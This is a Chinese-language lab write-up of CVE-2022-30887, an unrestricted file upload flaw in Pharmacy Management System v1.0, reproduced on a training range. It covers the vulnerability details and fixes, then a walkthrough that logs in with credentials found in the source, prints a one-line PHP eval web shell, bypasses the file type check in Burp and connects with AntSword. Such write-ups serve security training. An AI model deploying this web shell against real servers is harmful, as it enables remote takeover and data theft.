Pharmacy Management System v1.0 文件上传漏洞（CVE-2022-30887）

前言

CVE-2022-30887 是一个存在于 Pharmacy Management System v1.0 中的远程代码执行（RCE）漏洞。这个漏洞存在于 /php_action/editProductImage.php 组件中。攻击者可以通过上传一个精心制作的图像文件来执行任意代码。

漏洞详细信息

• 漏洞描述: Pharmacy Management System v1.0 中的 /php_action/editProductImage.php 组件存在一个 RCE 漏洞。攻击者可以利用这个漏洞上传一个包含恶意代码的图像文件，从而在服务器上执行任意代码。
• CWE ID: CWE-434（不受限制的文件上传）
• CVSS评分:
  • CVSS v3: 9.8 (Critical)
  • CVSS v2: 7.5 (High)
• 漏洞发现日期: 2022-05-20
• 最后更新日期: 2022-05-26

漏洞影响

该漏洞允许攻击者在没有任何身份验证的情况下，远程执行任意代码，可能导致系统完全被攻陷，严重危及系统安全。

修复建议

对于使用 Pharmacy Management System v1.0 的用户，强烈建议尽快更新到没有该漏洞的版本，或者在受影响的文件上传功能中实施严格的文件类型检查和验证。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。

教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。

竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。

资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Pharmacy Management System v1.0 是一款旨在简化和自动化药房各项操作的软件平台。该系统通常包括以下功能，用于管理处方、库存、销售和患者信息。这些系统有助于药房提高工作效率，确保准确的药物分发，并维护全面的记录。

主要功能

1. 处方管理：允许药剂师处理和管理处方，包括电子处方。
2. 库存管理：跟踪药物库存水平、过期日期和重新订购需求，确保药房始终有足够的库存。
3. 销售管理：处理销售点交易，生成发票和处理付款。
4. 患者管理：维护患者记录，包括用药历史、过敏史和其他相关健康信息。
5. 报告功能：生成销售、库存等关键指标的各种报告，以帮助决策和合规。

优点

• 效率：自动化日常任务，减少手动工作量和错误。
• 准确性：确保精确跟踪药物和患者记录，提高安全性。
• 合规性：帮助药房遵守法律和法规要求。
• 客户服务：通过提供快速准确的信息，提升客户服务。

示例漏洞 (CVE-2022-30887)

Pharmacy Management System v1.0 被发现包含一个关键的远程代码执行（RCE）漏洞，通过 /php_action/editProductImage.php 组件。该漏洞允许攻击者通过上传特制的图像文件来执行任意代码，可能会危及系统及其数据。

安全措施

• 定期软件更新以修补漏洞。
• 实施安全编码实践。
• 定期进行安全审计和漏洞评估。
• 教育用户识别和避免网络钓鱼及其他社会工程攻击。

使用场景

• 社区药房：管理日常药房运营。
• 医院药房：与其他医疗服务提供者协调并管理更大的库存。
• 在线药房：处理订单、管理在线交易并维护患者机密性。

更多关于药房管理系统的详细信息，可以参考GitHub 和特定软件文档​ (READINESS Centers)​​ (GitHub)​​ (GitHub)​。

漏洞复现

打开靶场

登录界面需要先登录 

忘记密码是个假链接没用

网上下载网站源码在数据库中爆破找到账号密码是 mayuri.infospace@gmail.com/mayurik

成功登录后界面如下

查看每个页面，在这个页面找到了有关上传的图片

点击按钮添加来到漏洞页面

准备好一句话木马

<?php @eval($_POST['shell']);?>

打开 BurpSuite 抓包拦截

先试试常规绕过方法，修改文件类型

上传成功！！！ 

可以看到咱们上传的图片木马

右键复制图片地址 

打开蚁剑连接

连接成功！！！ 

找到 flag